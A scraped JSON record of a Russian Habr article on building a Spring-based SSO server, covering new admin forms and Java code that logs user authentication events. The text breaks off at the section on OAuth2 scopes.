{"id":379466,"date":"2024-06-23T21:00:09","date_gmt":"2024-06-23T21:00:09","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=379466"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=379466","title":{"rendered":"<span>\u0421\u0442\u0440\u043e\u0438\u043c \u0441\u0432\u043e\u0439 SSO. \u0427\u0430\u0441\u0442\u044c 5: \u0418\u0442\u043e\u0433\u043e\u0432\u044b\u0439 SSO, \u0417\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 XSS\/CSRF, Custom Grant Type<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h3>\u0412\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0435<\/h3>\n<p>\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442, \u043c\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 SSO Server. \u041d\u043e \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0432 <a href=\"https:\/\/habr.com\/ru\/articles\/784552\/\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435<\/a>:<\/p>\n<ul>\n<li>\n<p>\u0423\u0434\u0435\u043b\u0438\u043b\u0438 \u0432\u0440\u0435\u043c\u044f frontend \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044e<\/p>\n<\/li>\n<li>\n<p>\u041d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438<\/p>\n<\/li>\n<li>\n<p>\u0420\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044e &#171;\u0417\u0430\u0431\u044b\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c&#187;<\/p>\n<\/li>\n<\/ul>\n<p>\u041c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0432\u0441\u0451, \u0447\u0442\u043e \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0432\u0445\u043e\u0434\u0430 \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438. \u0422\u0435\u043a\u0443\u0449\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0433\u043a\u0430 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0445. \u0414\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u044f \u0443\u0436\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438 (\u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u043c\u0438 \u0442\u043e\u043a\u0435\u043d\u0430\u043c\u0438, \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSO \u0438 \u0442.\u0434.). \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0435\u0433\u043e \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438<\/a>.<\/p>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0443\u043d\u043a\u0442\u044b:<\/p>\n<ul>\n<li>\n<p>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435<\/p>\n<\/li>\n<li>\n<p>\u0417\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 CSRF \u0438 XSS \u0430\u0442\u0430\u043a, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 Security Headers<\/p>\n<\/li>\n<li>\n<p>\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e grant type<\/p>\n<\/li>\n<\/ul>\n<p>\u0418\u0442\u0430\u043a, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c!<\/p>\n<h3>\u0420\u0430\u0437\u0434\u0435\u043b 5.1: \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f<\/h3>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e, \u0441\u0442\u043e\u0438\u0442 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043c\u044b \u0432 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u0440\u0430\u0437 \u043f\u043e\u0432\u044b\u0441\u0438\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u0438:<\/p>\n<ul>\n<li>\n<p><code>spring-boot-starter-parent<\/code> \u043f\u043e\u0432\u044b\u0441\u0438\u043b\u0438 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 <code>3.2.5<\/code><\/p>\n<\/li>\n<li>\n<p><code>spring-security-oauth2-authorization-server<\/code> \u043f\u043e\u0432\u044b\u0441\u0438\u043b\u0438 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 <code>1.2.4<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0447\u0435\u043c, \u043c\u044b \u0443\u0448\u043b\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0435\u0442\u043e\u0434\u0430 <code>.apply()<\/code> \u043f\u0440\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0435 <code>HttpSecurity<\/code> \u0432 \u043a\u043b\u0430\u0441\u0441\u0435 <code>SecurityConfig<\/code> \u0438 \u0437\u0430\u043c\u0435\u043d\u0438\u043b\u0438 \u0435\u0433\u043e \u043d\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 <code>.with()<\/code>. \u0414\u0440\u0443\u0433\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u0432 \u0441\u0432\u044f\u0437\u0438 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u0432\u0435\u0440\u0441\u0438\u0439 \u043d\u0435 \u0431\u044b\u043b\u043e.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435, \u0434\u0443\u043c\u0430\u044e \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043d\u043e\u0432\u043e\u0433\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u043e\u0441\u044c \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435:<\/p>\n<ul>\n<li>\n<p>\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f (\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435, \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0430\u0432\u0430\u0442\u0430\u0440\u043a\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430, \u0441\u043c\u0435\u043d\u0430 \u043f\u0430\u0440\u043e\u043b\u044f).<\/p>\n<\/li>\n<li>\n<p>\u041b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0434\u043b\u044f \u0438\u0445 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0421\u043f\u0438\u0441\u043e\u043a \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0445 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430 \u0438 \u043e\u0442\u0437\u044b\u0432\u0430 \u0442\u043e\u043a\u0435\u043d\u0430.<\/p>\n<\/li>\n<li>\n<p>\u041f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u043f\u043e\u043d\u044f\u0442\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0438 \u0441\u0443\u043f\u0435\u0440\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. \u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u043e\u0432\u0430\u044f \u0440\u043e\u043b\u044c ADMIN_USER \u0438 \u043d\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043b\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 SSO.<\/p>\n<\/li>\n<li>\n<p>\u0424\u043e\u0440\u043c\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f\/\u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\/\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0435\u043f\u0435\u0440\u044c \u0438\u0445 \u043c\u043e\u0436\u0435\u0442 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 SSO.<\/p>\n<\/li>\n<li>\n<p>\u0424\u043e\u0440\u043c\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 SSO.<\/p>\n<\/li>\n<\/ul>\n<p>\u0412\u0441\u0435 \u0444\u043e\u0440\u043c\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0441\u0442\u044b\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043d\u0430 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435 \u0431\u0443\u0434\u0435\u043c, \u0432\u044b \u0438\u0445 \u043c\u043e\u0436\u0435\u0442\u0435 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0432 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\" rel=\"noopener noreferrer nofollow\">\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/a><\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habr.com\/images\/px.gif#https%3A%2F%2Fraw.githubusercontent.com%2Fdlabs71%2Fspring-authorization-server-example%2Fchapter-5.1%2Farticle-images%2Fpart5%2Fchapter5.1%2Fforms.gif\" alt=\"\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\" title=\"\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\" width=\"1200\" data-src=\"https:\/\/habr.com\/images\/px.gif#https%3A%2F%2Fraw.githubusercontent.com%2Fdlabs71%2Fspring-authorization-server-example%2Fchapter-5.1%2Farticle-images%2Fpart5%2Fchapter5.1%2Fforms.gif\"\/><\/p>\n<div><figcaption>\u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0441\u0430\u043c\u044b\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0444\u043e\u0440\u043c.<\/p>\n<h4>\u041a\u0430\u043a \u043e\u0442\u043b\u043e\u0432\u0438\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f?<\/h4>\n<p>\u041b\u043e\u0433\u0438\u0447\u043d\u043e, \u0447\u0442\u043e \u043e\u0442\u0432\u0435\u0442\u043e\u043c \u043d\u0430 \u044d\u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0431\u0443\u0434\u0435\u0442 &#8212; &#171;\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 <code>SuccessAuthenticationHandler<\/code>&#171;. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u0443 \u043d\u0430\u0441 \u0431\u044b\u043b \u0442\u043e\u043b\u044c\u043a\u043e <code>CustomAuthenticationSuccessHandler<\/code>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u044b \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0434\u043b\u044f frontend \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0437\u0430\u0431\u044b\u043b\u0438, \u0437\u0430\u0447\u0435\u043c \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u043b\u043e\u0441\u044c, \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a <a href=\"https:\/\/habr.com\/ru\/articles\/748584\/\" rel=\"noopener noreferrer nofollow\">\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 (\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u044b \u043b\u043e\u0433\u0438\u043d\u0430)<\/a>. \u0412 \u043d\u0435\u0439 \u043c\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u044d\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0438. \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0443\u043b\u0443\u0447\u0448\u0438\u043b\u0438 \u0435\u0433\u043e \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<p><code><strong>CustomAuthenticationSuccessHandler.java<\/strong><\/code><\/p>\n<pre><code class=\"java\">public class CustomAuthenticationSuccessHandler implements AuthenticationSuccessHandler {     @Override     public void onAuthenticationSuccess(             HttpServletRequest request,             HttpServletResponse response,             Authentication authentication     ) {         SavedRequest savedRequest = this.requestCache.getRequest(request, response);         if (savedRequest == null) {             response.setHeader(headerName, locationUrl);         } else {             this.requestCache.removeRequest(request, response);             this.clearAuthenticationAttributes(request);             String targetUrl = savedRequest.getRedirectUrl();              \/\/ \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u043c \u043a\u043e\u0433\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0437 requestCache, \u0430 \u043a\u043e\u0433\u0434\u0430             \/\/ \u0443\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u0443\u044e \u0444\u043e\u0440\u043c\u0443 SSO             if (targetUrl.startsWith(savedRequestUrlStartsWith)) {                 response.setHeader(headerName, targetUrl);             } else {                 response.setHeader(headerName, locationUrl);             }         }          String clientId = HandlerUtils.getClientId(savedRequest);         \/\/ \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0435         eventService.createEvent(UserEventType.USER_LOGIN, clientId, request);     } } <\/code><\/pre>\n<p>\u0412 \u0441\u0430\u043c\u043e\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u043d\u0435\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u0437\u0430\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u0442\u043e\u0433\u043e. \u041e\u0434\u043d\u0438\u043c \u0438\u0437 \u043c\u043e\u0438\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0431\u044b\u043b\u043e, \u0447\u0442\u043e\u0431\u044b \u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u0438 \u0431\u044b\u043b\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0434\u043b\u044f \u043a\u0430\u043a\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e. \u041a\u0430\u043a \u0443\u0437\u043d\u0430\u0442\u044c \u044d\u0442\u043e? \u0412\u0441\u0451 \u043f\u0440\u043e\u0441\u0442\u043e. \u042d\u0442\u043e clientId (\u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 OAuth2 \u043a\u043b\u0438\u0435\u043d\u0442\u0430), \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0435\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 endpoint <code>\/oauth2\/authorize<\/code>. \u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u044d\u0442\u043e\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0442.\u0435. \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 <code>requestCache<\/code>. clientId \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u044d\u0442\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u044d\u0442\u043e \u043d\u0435 \u0431\u044b\u043b\u043e \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u043b \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u043d\u0430 \u0444\u043e\u0440\u043c\u044b SSO.<\/p>\n<p><code><strong>HandlerUtils.java<\/strong><\/code><\/p>\n<pre><code class=\"java\"> @UtilityClass public class HandlerUtils {      \/**      * \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 clientId \u0438\u0437 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430.      *\/     public String getClientId(SavedRequest savedRequest) {         if (savedRequest != null) {             if (savedRequest.getParameterMap().containsKey(\"client_id\")) {                 String[] clientIdValues = savedRequest.getParameterValues(\"client_id\");                 if (clientIdValues.length > 0) {                     return clientIdValues[0];                 }             }         }         return null;     } } <\/code><\/pre>\n<p>\u041c\u044b \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0438 \u043a\u043b\u0430\u0441\u0441 <a href=\"https:\/\/github.com\/dlabs71\/spring-authorization-server-example\/blob\/chapter-5.1\/j-sso\/src\/main\/java\/ru\/dlabs\/sas\/example\/jsso\/config\/security\/handler\/CustomOauthAuthenticationSuccessHandler.java\" rel=\"noopener noreferrer nofollow\"><code>CustomOauthAuthenticationSuccessHandler<\/code><\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u0440\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 (Yandex, Google, Github). \u0412 \u043d\u0451\u043c \u043c\u044b \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.<\/p>\n<h4>\u041d\u043e\u0432\u044b\u0435 scope \u0438 \u043a\u0430\u043a \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u043b\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435 \u043d\u0430 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0435<\/h4>\n<p>\u0412 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445 \u043c\u044b \u043d\u0435 \u0441\u0438\u043b\u044c\u043d\u043e \u0443\u0434\u0435\u043b\u044f\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0443 scope. \u041c\u044b \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u043d\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043f\u043e\u043d\u044f\u0442\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f (<code>read.scope<\/code>, <code>write.scope<\/code>) \u0438 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 \u0435\u0433\u043e \u0441\u0442\u043e\u0440\u043e\u043d\u043e\u0439. 